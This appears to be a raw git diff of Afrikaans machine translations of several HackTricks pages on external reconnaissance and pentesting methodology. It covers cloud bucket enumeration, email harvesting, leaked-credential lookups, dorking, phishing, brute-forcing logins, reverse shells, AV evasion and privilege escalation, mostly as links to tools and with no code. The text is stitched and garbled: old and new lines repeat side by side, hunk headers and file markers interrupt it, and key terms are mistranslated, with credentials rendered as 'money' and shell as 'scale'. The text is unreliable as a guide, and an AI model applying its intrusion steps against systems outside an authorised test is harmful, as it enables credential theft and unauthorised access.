Nou dat jy **alle webbedieners** in die reikwydte ontdek het (onder die **IP's** van die maatskappy en al die **domeine** en **subdomeine**), weet jy waarskynlik **nie waar om te begin nie**. So, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Net deur 'n **kykie** na die **hoofbladsy** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwesbaar** te wees.
Nou dat jy al die webbedieners in die omvang ontdek het (onder die IP-adresse van die maatskappy en al die domeine en subdomeine), weet jy waarskynlik nie waar om te begin nie. So, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Net deur na die hoofbladsy te kyk, kan jy vreemde eindpunte vind wat meer vatbaar is vir kwesbaarhede.
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot) gebruik.
Verder kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om deur al die **skermskote** te hardloop om jou te vertel **wat waarskynlik kwesbaarhede bevat**, en wat nie.
Verder kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebruik om deur al die skermskote te hardloop om jou te vertel wat waarskynlik kwesbaarhede bevat, en wat nie.
## Openbare Wolkmiddels
Om potensiële wolkbates van 'n maatskappy te vind, moet jy **begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"krypto", "beursie", "dao", "<domein_naam>", <"subdomein_name">` gebruik.
Om potensiële wolkbates van 'n maatskappy te vind, moet jy begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">` gebruik.
Jy sal ook woordlyste van **gewone woorde wat in houers gebruik word** benodig:
Jy sal ook woordlyste van algemene woorde wat in houers gebruik word, benodig:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Daarna, met daardie woorde, moet jy **permutasies genereer** (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
Daarna moet jy met daardie woorde permutasies genereer.
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum), [**CloudScraper**](https://github.com/jordanpotti/CloudScraper), [**cloudlist**](https://github.com/projectdiscovery/cloudlist) of [**S3Scanner**](https://github.com/sa7mon/S3Scanner) gebruik.
Onthou dat wanneer jy na Wolkbates soek, jy **meer as net houers in AWS** moet soek.
Onthou dat wanneer jy na Wolkbates soek, jy na meer as net houers in AWS moet kyk.
### **Op soek na kwesbaarhede**
### **Soek na kwesbaarhede**
As jy dinge soos **oophouers of blootgestelde wolkfunksies** vind, moet jy **hulle toegang** en probeer sien wat hulle jou bied en of jy dit kan misbruik.
As jy dinge soos oop houers of blootgestelde wolkfunksies vind, moet jy hulle toegang en probeer sien wat hulle jou bied en of jy dit kan misbruik.
## E-posse
Met die **domeine** en **subdomeine** binne die reikwydte het jy basies alles wat jy **nodig het om te begin soek na e-posse**. Dit is die **API's** en **gereedskap** wat vir my die beste gewerk het om e-posse van 'n maatskappy te vind:
Met die domeine en subdomeine binne die omvang het jy basies alles wat jy nodig het om te begin soek na e-posse. Hierdie is die API's en gereedskap wat vir my die beste gewerk het om e-posse van 'n maatskappy te vind:
* [**theHarvester**](https://github.com/laramies/theHarvester) - met API's
* API van [**https://hunter.io/**](https://hunter.io/) (gratis weergawe)
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
### **Op soek na kwesbaarhede**
### **Soek na kwesbaarhede**
E-posse sal later van pas kom om **webaanmeldings en outentiseringsdienste te krag** (soos SSH). Dit is ook nodig vir **hengel**. Verder sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die hengelveldtog.
E-posse sal later van pas kom om webaanmeldings en outentiseringsdienste (soos SSH) te brute force. Ook is hulle nodig vir hengel. Hierbenewens sal hierdie API's jou selfs meer inligting gee oor die persoon agter die e-pos, wat nuttig is vir die hengelveldtog.
## Gelêkte Gelde
## Geldelek
Met die **domeine**, **subdomeine**, en **e-posse** kan jy begin soek na gelêkte gelde wat in die verlede aan daardie e-posse behoort het:
Met die domeine, subdomeine en e-posse kan jy begin soek na gelekte gelde wat in die verlede aan daardie e-posse behoort het.
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Op soek na kwesbaarhede**
### **Soek na kwesbaarhede**
As jy **geldige gelêkte** gelde vind, is dit 'n baie maklike wen.
As jy geldige gelekte gelde vind, is dit 'n baie maklike wen.
## Geheim Gelde
## Geheimlek
Gelêkte gelde is verwant aan hacks van maatskappye waar **sensitiewe inligting gelekte en verkoop** is. Maatskappye kan egter ook deur **ander lekke** geraak word waarvan die inligting nie in daardie databasisse is nie:
Geldelek is verwant aan hacks van maatskappye waar sensitiewe inligting gelekte en verkoop is. Maatskappye kan egter deur ander lekke geraak word waarvan die inligting nie in daardie databasisse is nie.
### Github Gelde
### Github-lekke
Gelde en API's kan gelekte word in die **openbare bewaarplekke** van die **maatskappy** of van die **gebruikers** wat vir daardie github-maatskappy werk.\
Jy kan die **gereedskap** [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om al die **openbare bewaarplekke** van 'n **organisasie** en van sy **ontwikkelaars** af te **laai** en [**gitleaks**](https://github.com/zricethezav/gitleaks) outomaties daaroor te hardloop.
Legitieme en API's kan gelekte word in die openbare argiewe van die maatskappy of van die gebruikers wat vir daardie github-maatskappy werk. Jy kan die gereedskap [**Leakos**](https://github.com/carlospolop/Leakos) gebruik om al die openbare argiewe van 'n organisasie en van sy ontwikkelaars af te laai en [**gitleaks**](https://github.com/zricethezav/gitleaks) outomaties daaroor te hardloop.
**Leakos** kan ook gebruik word om **gitleaks** te hardloop teen al die **teks** wat aan hom **deurgegee URL's** is, aangesien soms **webbladsye ook geheime bevat**.
**Leakos** kan ook gebruik word om **gitleaks** te hardloop teen al die teksverskaffende URL's wat aan dit oorgedra word, aangesien webbladsye soms ook geheime bevat.
#### Github Dorks
Kyk ook na hierdie **bladsy** vir potensiële **github dorks** wat jy ook in die organisasie wat jy aanval, kan soek:
Kyk ook na hierdie bladsy vir potensiële github-dorks wat jy ook in die organisasie wat jy aanval, kan soek:
{% content-ref url="github-leaked-secrets.md" %}
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### Paste Gelde
### Paste-lekke
Soms sal aanvallers of net werkers **maatskappy-inhoud in 'n plakwebwerf publiseer**. Dit mag of mag nie **sensitiewe inligting** bevat nie, maar dit is baie interessant om daarna te soek.\
Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 plakwebwerwe gelyktydig te soek.
Soms sal aanvallers of net werkers maatskappy-inhoud op 'n plakwebwerf publiseer. Dit mag of mag nie sensitiewe inligting bevat nie, maar dit is baie interessant om daarvoor te soek. Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebruik om in meer as 80 plakwebwerwe gelyktydig te soek.
### Google Dorks
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat nie daar behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan hardloop nie. So, jy kan jou gunsteling 10 kry of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal te hardloop**.
Ou maar goud google-dorks is altyd nuttig om blootgestelde inligting te vind wat nie daar behoort te wees nie. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie duisende moontlike navrae bevat wat jy nie handmatig kan hardloop nie. Jy kan dus jou gunsteling 10 kies of jy kan 'n gereedskap soos [**Gorks**](https://github.com/carlospolop/Gorks) gebruik om hulle almal te hardloop.
_Merk op dat die gereedskappe wat verwag om die hele databasis met die gewone Google-blaaier te hardloop, nooit sal eindig nie, aangesien Google jou baie baie gou sal blokkeer._
### **Op soek na kwesbaarhede**
### **Soek na kwesbaarhede**
As jy **geldige gelêkte** gelde of API-tokens vind, is dit 'n baie maklike wen.
As jy geldige gelekte gelde of API-tokens vind, is dit 'n baie maklike wen.
## Openbare Kodekwesbaarhede
As jy vind dat die maatskappy **open-source kode** het, kan jy dit **ontleed** en soek na **kwesbaarhede** daarin.
As jy vind dat die maatskappy oopbronkode het, kan jy dit analiseer en soek na kwesbaarhede daarin.
**Afhanklik van die taal** is daar verskillende **gereedskappe** wat jy kan gebruik:
Afhanklik van die taal is daar verskillende gereedskappe wat jy kan gebruik:
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %}
Daar is ook gratis dienste wat jou toelaat om **openbare bewaarplekke te skandeer**, soos:
Daar is ook gratis dienste wat jou toelaat om openbare argiewe te skandeer, soos:
* [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
Die **meeste van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, so op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan hierdie inligting [**hier vind**](../../network-services-pentesting/pentesting-web/).
Die **meerderheid van die kwesbaarhede** wat deur foutjagters gevind word, is binne **webtoepassings** geleë, dus op hierdie punt wil ek graag praat oor 'n **webtoepassingstoetsmetodologie**, en jy kan hierdie inligting [**hier vind**](../../network-services-pentesting/pentesting-web/).
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, al verwag jy nie dat hulle baie sensitiewe kwesbaarhede vir jou sal vind nie, is hulle handig om te implementeer op **werkstrome om 'n aanvanklike webinligting te hê.**
Ek wil ook 'n spesiale vermelding maak van die afdeling [**Web Geoutomatiseerde Skandeerders oopbronhulpmiddels**](../../network-services-pentesting/pentesting-web/#automatic-scanners), aangesien, al verwag jy nie dat hulle baie sensitiewe kwesbaarhede vir jou sal vind nie, is hulle handig om hulle op **werkstrome te implementeer om 'n paar aanvanklike webinligting te hê.**
## Opsomming
@ -618,14 +616,14 @@ Jy het reeds:
3. Al die **domeine** wat aan die maatskappye behoort, gevind
4. Al die **subdomeine** van die domeine gevind (enige subdomeinoorname?)
5. Al die **IP's** (van en **nie van CDN's**) binne die omvang gevind.
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enige iets vreemds wat 'n dieper kykie werd is?)
7. Al die **potensiële openbare wolkbates** wat aan die maatskappy behoort, gevind.
6. Al die **webbedieners** gevind en 'n **skermkiekie** van hulle geneem (enige iets vreemds wat 'n dieper kyk werd is?)
7. Al die **potensiële openbare wolkbatesse** wat aan die maatskappy behoort, gevind.
8. **E-posse**, **geloofsbriewe-lekke**, en **geheimlekkasies** wat jou 'n **groot wen baie maklik** kan gee.
9. **Pentesting van al die webwerwe wat jy gevind het**
## **Volledige Opname Outomatiese Gereedskap**
## **Volledige Opname Outomatiese Hulpmiddels**
Daar is verskeie gereedskap daar buite wat deel van die voorgestelde aksies teen 'n gegewe omvang sal uitvoer.
Daar is verskeie hulpmiddels daar buite wat deel van die voorgestelde aksies teen 'n gegewe omvang sal uitvoer.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -638,7 +636,7 @@ Daar is verskeie gereedskap daar buite wat deel van die voorgestelde aksies teen
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools geskrewe en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -10,13 +10,13 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
As jy belangstel in 'n **hackerloopbaan** en die onkraakbare wil kraak - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -32,7 +32,7 @@ Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [*
### 1 - [Ontdekking van gasheer binne die netwerk](pentesting-network/#discovering-hosts)/ [Ontdekking van bates van die maatskappy](external-recon-methodology/)
**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel wees om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet te vind** (eksterne toets).
**Afhanklik** van of die **toets** wat jy uitvoer 'n **interne of eksterne toets** is, mag jy belangstel om **gasheer binne die maatskappy se netwerk** te vind (interne toets) of **bates van die maatskappy op die internet te vind** (eksterne toets).
{% hint style="info" %}
Let daarop dat as jy 'n eksterne toets uitvoer, sodra jy toegang tot die interne netwerk van die maatskappy verkry het, moet jy hierdie gids herbegin.
@ -45,13 +45,13 @@ Voordat jy 'n gasheer aanval, verkies jy miskien om **sekere geloofsbriewe te st
### 3- [Poortskandering - Diensontdekking](pentesting-network/#scanning-hosts)
Die eerste ding om te doen wanneer jy **kwesbaarhede in 'n gasheer soek** is om te weet watter **dienste op watter poorte hardloop**. Laat ons die [**basiese gereedskap sien om poorte van gasheer te skandeer**](pentesting-network/#scanning-hosts).
Die eerste ding om te doen wanneer jy **kwesbaarhede in 'n gasheer soek** is om te weet watter **dienste op watter poorte hardloop**. Laat ons kyk na die [**basiese gereedskap om poorte van gasheers te skandeer**](pentesting-network/#scanning-hosts).
### **4-** [Soek diensweergawe-uitbuitings](search-exploits.md)
Sodra jy weet watter dienste hardloop, en miskien hul weergawe, moet jy **soek na bekende kwesbaarhede**. Dalk is jy gelukkig en is daar 'n uitbuiting om jou 'n skaal te gee...
### **5-** Diens Pentesting
### **5-** Pentesting Dienste
As daar nie 'n spesiale uitbuiting vir enige hardlopende diens is nie, moet jy soek na **algemene verkeerde konfigurasies in elke diens wat hardloop**.
@ -60,11 +60,11 @@ As daar nie 'n spesiale uitbuiting vir enige hardlopende diens is nie, moet jy s
**Ek wil 'n spesiale vermelding maak van die** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **gedeelte (aangesien dit die mees omvattende is).**\
Ook, 'n klein gids oor hoe om [**bekende kwesbaarhede in sagteware te vind**](search-exploits.md) kan hier gevind word.
**As jou diens nie binne die indeks is nie, soek in Google** vir ander handleidings en **laat weet my as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google, voer jou **eie blinde pentesting** uit, jy kan begin deur **aan te sluit by die diens, dit te fuzz en die antwoorde te lees** (indien enige).
**As jou diens nie binne die indeks is nie, soek in Google** vir ander handleidings en **laat weet my as jy wil hê ek moet dit byvoeg.** As jy **niks kan vind** in Google, voer jou **eie blinde pentesting** uit, jy kan begin deur **met die diens te verbind, dit te fuzz en die antwoorde te lees** (indien enige).
#### 5.1 Outomatiese Gereedskap
Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsassessering** kan uitvoer. **Ek sal aanbeveel om** [**Legion**](https://github.com/carlospolop/legion)** te probeer, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor dienspentesting wat jy in hierdie boek kan vind.**
Daar is ook verskeie gereedskap wat **outomatiese kwesbaarheidsassesserings** kan uitvoer. **Ek sal aanbeveel dat jy probeer** [**Legion**](https://github.com/carlospolop/legion)**, wat die gereedskap is wat ek geskep het en dit is gebaseer op die notas oor die pentesting van dienste wat jy in hierdie boek kan vind.**
#### **5.2 Brute-Force dienste**
@ -76,9 +76,9 @@ As jy teen hierdie punt geen interessante kwesbaarheid gevind het nie, **mag jy
### **7-** [**Kry Skul**](shells/)
Op een of ander manier behoort jy 'n manier gevind te het om kode uit te voer in die slagoffer. Dan, [sou 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde skaal te kry, baie nuttig wees](shells/).
Op een of ander manier behoort jy **'n manier gevind te het om kode uit te voer** op die slagoffer. Dan, [sou 'n lys van moontlike gereedskap binne die stelsel wat jy kan gebruik om 'n omgekeerde skaal te kry, baie nuttig wees](shells/).
Veral in Windows kan jy dalk hulp nodig hê om **antivirusse te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
Veral in Windows mag jy dalk hulp nodig hê om **antivirusprogramme te vermy**: [**Kyk na hierdie bladsy**](../windows-hardening/av-bypass.md)**.**\\
### 8- Binne
@ -90,7 +90,7 @@ As jy probleme het met die skaal, kan jy hier 'n klein **samestelling van die me
### **9 -** [**Uitvoer**](exfiltration.md)
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos voorreg-escaleringsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos voorregskaleringsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
### **10- Voorregverhoging**
#### **10.1- Plaaslike Voorregverhoging**
@ -99,9 +99,9 @@ As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind o
Hier kan jy 'n **gids vind om voorregte plaaslik te verhoog in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
* [**Verifikasie, Geldele, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* [**Verifikasie, Gelde, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)?
* Hoe om geldele te [**steel**](broken-reference/) in Windows
* Hoe om gelde te [**steel**](broken-reference/) in Windows
* 'n Paar truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
**Moenie vergeet om die beste gereedskap om Windows en Linux plaaslike Voorregverhogingsroetes op te som:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
@ -114,8 +114,8 @@ Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om t
#### **11**.1 - Plundering
Kyk of jy meer **wagwoorde** binne die gasheer kan vind of as jy **toegang het tot ander masjiene** met die **voorregte** van jou **gebruiker**.\
Vind hier verskillende maniere om **wagwoorde in Windows te dump**.
Kyk of jy meer **gelde** binne die gasheer kan vind of as jy **toegang het tot ander rekenaars** met die **voorregte** van jou **gebruiker**.\
Vind hier verskillende maniere om [**gelde in Windows te dump**](broken-reference/).
#### 11.2 - Volharding
@ -126,9 +126,9 @@ TODO: Voltooi volharding Post in Windows & Linux
### 12 - Pivoting
Met die **versamelde geldele** kan jy toegang hê tot ander masjiene, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
In hierdie geval kan tonneling nodig wees. Hier kan jy 'n [**post oor tonneling**](tunneling-and-port-forwarding.md) vind.\
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en geldele te dump.\
Met die **versamelde gelde** kan jy toegang hê tot ander rekenaars, of miskien moet jy **nuwe gasheer ontdek en skandeer** (begin die Pentesting Metodologie weer) binne nuwe netwerke waar jou slagoffer gekoppel is.\
In hierdie geval kan tonneling nodig wees. Hier kan jy 'n [**post oor tonneling vind**](tunneling-and-port-forwarding.md).\
Jy moet beslis ook die post oor [Aktiewe Gids pentesting Metodologie](../windows-hardening/active-directory-methodology/) nagaan. Daar sal jy koel truuks vind om lateraal te beweeg, voorregte te verhoog en gelde te dump.\
Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie nuttig wees om te pivoteer op Windows-omgewings..
### MEER
@ -149,7 +149,7 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding-orakel**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
@ -161,7 +161,7 @@ As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons i
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -6,35 +6,35 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**Interessante bladsye om te kontroleer:**
**Interessante bladsye om te kyk:**
* [**Pyscript haktruuks**](pyscript.md)
* [**Pyscript-hacking-truuks**](pyscript.md)
* [**Python deserializations**](../../pentesting-web/deserialization/#python)
* [**Truuks om Python-sandbokse te omseil**](bypass-python-sandboxes/)
* [**Basiese Python-webversoeke sintaksis**](web-requests.md)
* [**Basiese Python-sintaksis en biblioteke**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -44,10 +44,10 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

